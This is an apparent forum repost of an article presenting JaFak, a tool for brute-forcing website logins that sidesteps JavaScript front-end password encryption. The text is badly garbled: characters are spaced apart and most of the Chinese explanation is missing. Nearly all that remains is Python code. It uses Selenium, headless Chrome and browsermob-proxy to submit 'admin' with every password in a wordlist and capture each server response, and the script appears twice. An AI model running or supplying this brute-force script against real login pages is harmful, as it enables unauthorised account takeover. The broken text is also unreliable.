[20404] 2020-12-13_JaFak:一款无视js前端加密的账号密码爆破工具

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-12-13_JaFak:一款无视js前端加密的账号密码爆破工具 J a F a k j s K h a n   2 0 2 0 - 1 2 - 1 3 G a m m a   0 x A X S D D f r e e b u f : h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 2 5 7 6 8 5 . h t m l g i t h u b g i t h u b G a m m a   . G a m m a c t f w p ,
                                                    退 退 b u r p ! % 3 D % 3 D b a s e 6 4 p y t h o n b a s e 6 4 b a s e 6 4 b u r p                                                                       j s 退
                                                            j s b p 访 p y t h o n G o o g l e g o o g l e ? 使 s e l e n i u m S e l e n i u m     C h r o m e S a f a r i F i r e f o x     S e l e n i u m   便 便   W e b     S e l e n i u m   西 p y t h o n + s e l e n i u m + b r o w s e r m o b p r o x y
                                                    S e l e n i u m   C h r o m e   i c h r o m e c h r o m e h t t p : / / w w w . b a i d u . c o m / c h r o m e   C h r o m e     C h r o m e   h t t p : / / w w w . p y t h o n . o r g P y t h o n h t m l   n a m e q p y c o n j q . f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r b r o w s e r   =   w e b d r i v e r . C h r o m e ( ) b r o w s e r . g e t ( ' h t t p : / / w w w . b a i d u . c o m / ' ) f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s d r i v e r   =   w e b d r i v e r . C h r o m e ( ) d r i v e r . g e t ( " h t t p : / / w w w . p y t h o n . o r g " ) a s s e r t   " P y t h o n "   i n   d r i v e r . t i t l e # e l e m   =   d r i v e r . f i n d _ e l e m e n t _ b y _ n a m e ( " q " ) e l e m . s e n d _ k e y s ( " p y c o n " ) e l e m . s e n d _ k e y s ( K e y s . R E T U R N ) p r i n t d r i v e r . p a g e _ s o u r c e f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s d r i v e r   =   w e b d r i v e r . C h r o m e ( ) d r i v e r . g e t ( " x x x x x x x x " ) d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) # d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) # # d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . c l i c k ( ) #
1 c s s _ s e l e c t o r 使 b y _ c l a s s _ n a m e c l a s s 使 b y _ c l a s s _ n a m e c l a s s 访 . c h r o m e j s n i c e , , 使 s e l e n i u m c h r o m e d r i v e r n e t w o r k , , 使 b r o w s e r m o b p r o x y   , c h r o m e b r o w e r m o b p r o x y , b r o w e r m o b p r o x y h t t p , . n i c e ! B r o w s e r m o b - P r o x y J a v a L i t t l e P r o x y B r o w s e r m o b - P r o x y F l i d d e r C h a r l e s H T T P : f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s d r i v e r   =   w e b d r i v e r . C h r o m e ( ) d r i v e r . g e t ( " x x x x x x x x " ) # d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) # d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) # # d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . c l i c k ( ) # d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) g i t h u b : h t t p s : / / g i t h u b . c o m / l i g h t b o d y / b r o w s e r m o b - p r o x y / r e l e a s e s L i n u x W i n d o w s p y t h o n : p i p   i n s t a l l   b r o w s e r m o b - p r o x y b r o w s e r m o b - p r o x y   D : a p k b r o w s e r m o b - p r o x y - 2 . 1 . 4 - b i n b r o w s e r m o b - p r o x y f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r
P r o x y W e b D r i v e r : : S e r v e r : f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r s e r v e r   =   S e r v e r ( " " ) s e r v e r . s t a r t ( ) p r o x y   =   s e r v e r . c r e a t e _ p r o x y ( ) f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c h r o m e . o p t i o n s   i m p o r t   O p t i o n s c h r o m e _ o p t i o n s   =   O p t i o n s ( ) c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - p r o x y - s e r v e r = { 0 } ' . f o r m a t ( p r o x y . p r o x y ) ) d r i v e r   =   w e b d r i v e r . C h r o m e ( c h r o m e _ o p t i o n s = c h r o m e _ o p t i o n s ) b r o w s e r m o b - p r o x y S e r v e r 8 0 8 0 i m p o r t   o s i m p o r t   a r g p a r s e i m p o r t   s y s f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . d e s i r e d _ c a p a b i l i t i e s   i m p o r t   D e s i r e d C a p a b i l i t i e s f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r f r o m   s e l e n i u m . w e b d r i v e r . c h r o m e . o p t i o n s   i m p o r t   O p t i o n s c l a s s   B r o w e r _ s c a n ( ) : d e f   _ _ i n i t _ _ ( s e l f , u r l , u s e r n a m e , p a s s w o r d _ d i r ) : s e l f . u r l   =   u r l s e l f . r e s p o n s e _ r e s u l t   =   [ ] s e l f . r e s u l t = { } s e l f . i n i t _ b r o w s e r m o b p r o x y ( ) s e l f . i n i t _ c h r o m e ( ) s e l f . i n i t _ d i c t _ l i s t ( u s e r n a m e , p a s s w o r d _ d i r ) s e l f . r e s u l t _ h a n d i n g ( ) s e l f . e n d _ e n v ( ) d e f   i n i t _ d i c t _ l i s t ( s e l f , u s e r n a m e , p a s s w o r d _ d i r ) : w i t h   o p e n ( p a s s w o r d _ d i r , " r " )   a s   f : s e l f . p a s s w o r d _ l i s t   =   f . r e a d l i n e s ( ) f o r   p a s s w o r d   i n   s e l f . p a s s w o r d _ l i s t : s e l f . f i l l _ o u t _ a _ f o r m ( u s e r n a m e , p a s s w o r d . r e p l a c e ( ' n ' , ' ' ) ) s e l f . w g e t _ r e s p o n s e ( ) d e f   i n i t _ b r o w s e r m o b p r o x y ( s e l f ) : s e l f . s e r v e r   =   S e r v e r ( " b r o w s e r m o b - p r o x y - 2 . 1 . 4 b i n b r o w s e r m o b - p r o x y . b a t " ) # b r o w e r m o b p r o x y s e l f . s e r v e r . s t a r t ( ) s e l f . p r o x y   =   s e l f . s e r v e r . c r e a t e _ p r o x y ( ) s e l f . c h r o m e _ o p t i o n s   =   O p t i o n s ( ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - p r o x y - s e r v e r = { 0 } ' . f o r m a t ( s e l f . p r o x y . p r o x y ) ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - h e a d l e s s ' ) # , c h r o m e , ,
: s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - h e a d l e s s ' ) # , c h r o m e , , d e f   i n i t _ c h r o m e ( s e l f ) : t r y : s e l f . c h r o m e   =   w e b d r i v e r . C h r o m e ( c h r o m e _ o p t i o n s = s e l f . c h r o m e _ o p t i o n s ) s e l f . p r o x y . n e w _ h a r ( " h t _ l i s t 2 " ,   o p t i o n s = { ' c a p t u r e C o n t e n t ' :   T r u e } ) s e l f . c h r o m e . g e t ( s e l f . u r l ) e x c e p t   E x c e p t i o n   a s   e : p r i n t ( " C h r o m e n " ) r e t u r n   0 d e f   f i l l _ o u t _ a _ f o r m ( s e l f , u s e r n a m e , p a s s w o r d ) : s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t   i v u - i n p u t - w i t h - p r e f i x ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t     i v u - i n p u t - w i t h - s u f f i x ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' i v u - b t n   i v u - b t n - p r i m a r y     i v u - b t n - l a r g e ' ] " ) ) . c l i c k ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i i v u - i n p u t   i v u - i n p u t - w i t h - p r e f i x ' ] " ) . c l e a r ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t     i v u - i n p u t - w i t h - s u f f i x ' ] " ) . c l e a r ( ) d e f   w g e t _ r e s p o n s e ( s e l f ) : r e s u l t   =   s e l f . p r o x y . h a r f o r   e n t r y   i n   r e s u l t [ ' l o g ' ] [ ' e n t r i e s ' ] : _ u r l   =   e n t r y [ ' r e q u e s t ' ] [ ' u r l ' ] p r i n t ( _ u r l ) i f   " p a s s w o r d "   i n   _ u r l   a n d   " u s e r n a m e "   i n   _ u r l : _ r e s p o n s e   =   e n t r y [ ' r e s p o n s e ' ] _ c o n t e n t   =   _ r e s p o n s e [ ' c o n t e n t ' ] #   s e l f . r e s p o n s e _ r e s u l t . a p p e n d ( _ r e s p o n s e [ ' c o n t e n t ' ] [ ' t e x t ' ] ) s e l f . r e s u l t   =   d i c t ( z i p ( s e l f . p a s s w o r d _ l i s t ,   s e l f . r e s p o n s e _ r e s u l t ) ) d e f   r e s u l t _ h a n d i n g ( s e l f ) : f o r   k e y , v a l u e   i n   s e l f . r e s u l t . i t e m s ( ) : p r i n t ( " { k e y }   : { r e s u l t } " . f o r m a t ( k e y = k e y , r e s u l t = v a l u e ) ) d e f   e n d _ e n v ( s e l f ) : t r y : s e l f . s e r v e r . s t o p ( ) s e l f . c h r o m e . q u i t ( ) f i n d _ n e t s t a t   =   o s . p o p e n ( " n e t s t a t   - a n o   |   f i n d s t r   8 0 8 0 " ) # p i d   =   f i n d _ n e t s t a t . r e a d ( ) . s p l i t ( ) [ 4 ] k a i l _ p i d   =   o s . p o p e n ( " t a s k k i l l   / F   / P I D   { P I D } " . f o r m a t ( P I D = p i d ) ) p r i n t ( k a i l _ p i d . r e a d ( ) ) r e t u r n   1 e x c e p t   I n d e x E r r o r   a s   e : r e t u r n   0 B r o w e r   =   B r o w e r _ s c a n ( u r l , ' a d m i n ' , ' p a s s w o r d . t x t ' )
:   1 2 3 4 5 6   1 2 3 4 5 6 4 5 6 7 8 9   1 2 3 4 5 6 4 5 5 6 7 8 9 5 5 6 6 4   . . . . . . . . . . . . . . . . . . . . . . . .   , , c l e a r 2   1 2 3 4 5 6   1 2 3 4 5 6 4 5 6 7 8 9   1 2 3 4 5 6 4 5 5 6 7 8 9 5 5 6 6 4   . . . . . . . . . . . . . . . . . . . . . . . .   , , c l e a r , , , , , , 1 0 , ! ! , a d m i n , , , , a d m i n , 1 2 3 4 5 6 , 4 5 6 7 8 9   1 2 3 4 5 6 4 5 6 7 8 9 . . . . .   : , c l e a r s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . c l i c k ( )
3 使 c l i c k , , c l i c k ! , 使 s e n d _ k e y s ( ) , , , : s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . s e n d _ k e y s ( K e y s . R E T U R N ) i m p o r t   o s i m p o r t   a r g p a r s e i m p o r t   s y s f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . d e s i r e d _ c a p a b i l i t i e s   i m p o r t   D e s i r e d C a p a b i l i t i e s f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r f r o m   s e l e n i u m . w e b d r i v e r . c h r o m e . o p t i o n s   i m p o r t   O p t i o n s c l a s s   B r o w e r _ s c a n ( ) : d e f   _ _ i n i t _ _ ( s e l f , u r l , u s e r n a m e , p a s s w o r d _ d i r ) : s e l f . u r l   =   u r l s e l f . r e s p o n s e _ r e s u l t   =   [ ] s e l f . r e s u l t = { } s e l f . i n i t _ b r o w s e r m o b p r o x y ( ) s e l f . i n i t _ c h r o m e ( ) s e l f . i n i t _ d i c t _ l i s t ( u s e r n a m e , p a s s w o r d _ d i r ) s e l f . r e s u l t _ h a n d i n g ( ) s e l f . e n d _ e n v ( ) d e f   i n i t _ d i c t _ l i s t ( s e l f , u s e r n a m e , p a s s w o r d _ d i r ) : w i t h   o p e n ( p a s s w o r d _ d i r , " r " )   a s   f : s e l f . p a s s w o r d _ l i s t   =   f . r e a d l i n e s ( ) f o r   p a s s w o r d   i n   s e l f . p a s s w o r d _ l i s t : s e l f . f i l l _ o u t _ a _ f o r m ( u s e r n a m e , p a s s w o r d . r e p l a c e ( ' n ' , ' ' ) ) s e l f . w g e t _ r e s p o n s e ( ) d e f   i n i t _ b r o w s e r m o b p r o x y ( s e l f ) : s e l f . s e r v e r   =   S e r v e r ( " b r o w s e r m o b - p r o x y - 2 . 1 . 4 b i n b r o w s e r m o b - p r o x y . b a t " ) # b r o w e r m o b p r o x y s e l f . s e r v e r . s t a r t ( ) s e l f . p r o x y   =   s e l f . s e r v e r . c r e a t e _ p r o x y ( ) s e l f . c h r o m e _ o p t i o n s   =   O p t i o n s ( ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( " i n c o g n i t o " ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - p r o x y - s e r v e r = { 0 } ' . f o r m a t ( s e l f . p r o x y . p r o x y ) ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - h e a d l e s s ' ) # , c h r o m e , , d e f   i n i t _ c h r o m e ( s e l f ) : t r y : s e l f . c h r o m e   =   w e b d r i v e r . C h r o m e ( c h r o m e _ o p t i o n s = s e l f . c h r o m e _ o p t i o n s ) s e l f . p r o x y . n e w _ h a r ( " t e s t " ,   o p t i o n s = { ' c a p t u r e C o n t e n t ' :   T r u e ,   ' c a p t u r e H e a d e r s ' :   T r u e } ) s e l f . c h r o m e . g e t ( s e l f . u r l ) e x c e p t   E x c e p t i o n   a s   e : p r i n t ( " C h r o m e n " )
, , j s , j q , , , j s , , , 便 ! ! ! ! ! ! ! ! ! g i t h u b , ! r e t u r n   0 d e f   f i l l _ o u t _ a _ f o r m ( s e l f , u s e r n a m e , p a s s w o r d ) : p r i n t ( p a s s w o r d ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) # u s e r n a m e s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t   i v u - i n p u t - l a r g e   i v u - i n p u t - w i t h - p r e f i x ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) # s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t   i v u - i n p u t - l a r g e   i v u - i n p u t - w i t h - p r e f i x   i v u - i n p u t - w i t h - s u f f i x ' ] " s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) # s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( K e y s . R E T U R N ) # d e f   w g e t _ r e s p o n s e ( s e l f ) : r e s u l t   =   s e l f . p r o x y . h a r f o r   e n t r y   i n   r e s u l t [ ' l o g ' ] [ ' e n t r i e s ' ] : _ u r l   =   e n t r y [ ' r e q u e s t ' ] [ ' u r l ' ] i f   " p a s s w o r d "   i n   _ u r l   a n d   " u s e r n a m e "   i n   _ u r l : _ r e s p o n s e   =   e n t r y [ ' r e s p o n s e ' ] _ c o n t e n t   =   _ r e s p o n s e [ ' c o n t e n t ' ] #   s e l f . r e s p o n s e _ r e s u l t . a p p e n d ( _ r e s p o n s e [ ' c o n t e n t ' ] [ ' t e x t ' ] ) s e l f . r e s u l t   =   d i c t ( z i p ( s e l f . p a s s w o r d _ l i s t ,   s e l f . r e s p o n s e _ r e s u l t ) ) d e f   r e s u l t _ h a n d i n g ( s e l f ) : f o r   k e y , v a l u e   i n   s e l f . r e s u l t . i t e m s ( ) : p r i n t ( " { k e y }   : { r e s u l t } " . f o r m a t ( k e y = k e y , r e s u l t = v a l u e ) ) d e f   e n d _ e n v ( s e l f ) : t r y : s e l f . s e r v e r . s t o p ( ) s e l f . c h r o m e . q u i t ( ) f i n d _ n e t s t a t   =   o s . p o p e n ( " n e t s t a t   - a n o   |   f i n d s t r   8 0 8 0 " ) # p i d   =   f i n d _ n e t s t a t . r e a d ( ) . s p l i t ( ) [ 4 ] k a i l _ p i d   =   o s . p o p e n ( " t a s k k i l l   / F   / P I D   { P I D } " . f o r m a t ( P I D = p i d ) ) p r i n t ( k a i l _ p i d . r e a d ( ) ) r e t u r n   1 e x c e p t   I n d e x E r r o r   a s   e : r e t u r n   0 B r o w e r   =   B r o w e r _ s c a n ( u r l , ' a d m i n ' , ' p a s s w o r d . t x t ' ) h t t p s : / / g i t h u b . c o m / G a m m a - l a b o r a t o r y / J s F a k c l a s s i d
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则